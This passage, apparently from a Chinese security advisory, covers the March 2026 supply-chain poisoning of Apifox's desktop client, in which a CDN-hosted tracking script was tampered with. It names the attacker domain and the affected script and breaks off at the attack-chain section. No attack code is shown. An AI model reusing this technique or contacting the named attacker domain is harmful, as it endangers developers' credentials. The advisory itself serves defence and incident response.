  <div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116);margin: 0px 0px 1em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">字数 2830，阅读大约需 15 分钟</span></p></blockquote><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116);font-size: 19.6px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.5em 1em;color: rgb(63, 63, 63);text-shadow: rgba(0, 0, 0, 0.1) 2px 2px 4px;"><span leaf="">Apifox 供应链投毒安全事件预警与排查</span></h1><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">一、事件概述</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">1.1 Apifox 产品简介</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">Apifox</span></strong><span leaf=""> 是一款国产 API 一体化协作平台，集 API 文档、API 调试、API Mock、API 自动化测试于一体。该工具在国内开发社区拥有广泛的用户基础，被大量开发团队用于接口管理、前后端联调、自动化测试等场景。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">项目</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">说明</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">产品定位</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">API 一体化协作平台</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">核心功能</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">API 文档、API 调试、Mock 服务、自动化测试</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">技术架构</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">桌面端基于 Electron 框架开发</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">支持平台</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Windows、macOS、Linux</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">部署方式</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">公网 SaaS 版、私有化部署版</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">用户群体</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">国内大量开发团队、前后端工程师、测试工程师</span></p></td></tr></tbody></table></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">由于 Apifox 在国内开发者群体中具有较高的普及度，此次供应链投毒事件的潜在影响范围较大，涉及大量开发者的核心敏感凭证。 |</span></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">1.2 事件基本信息</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">项目</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">详情</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">受影响产品</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Apifox 公网 SaaS 版桌面客户端（Windows/macOS/Linux）</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">攻击时间窗口</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">2026年3月4日 - 2026年3月22日（持续 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">18天</span></strong><span leaf="">）</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">攻击类型</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">供应链投毒 / CDN 脚本篡改</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">攻击载体</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">官方 CDN 托管的前端脚本文件被注入恶意 JavaScript 代码</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">恶意域名</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">apifox.it.com</span></code><p><span leaf="">（托管于 Cloudflare）</span></p></td></tr></tbody></table></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">1.3 事件描述</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 2026年3月4日至3月22日期间，Apifox 公网 SaaS 版桌面客户端动态加载的一个外部 JavaScript 文件（事件统计/追踪脚本）被恶意攻击者篡改。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">正常情况下，Apifox 启动时会加载：</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf=""><a href="https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js" target="_blank">https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js</a></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">该文件正常大小为 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">34KB</span></strong><span leaf="">，但在投毒期间可能请求到被篡改版本（</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">77KB</span></strong><span leaf="">，追加了约 42KB 的恶意代码）。</span></p><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">二、攻击技术简析</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">2.1 攻击链</span></h3><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100003077" data-ratio="0.55859375" title="null" data-type="png" data-w="1024" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 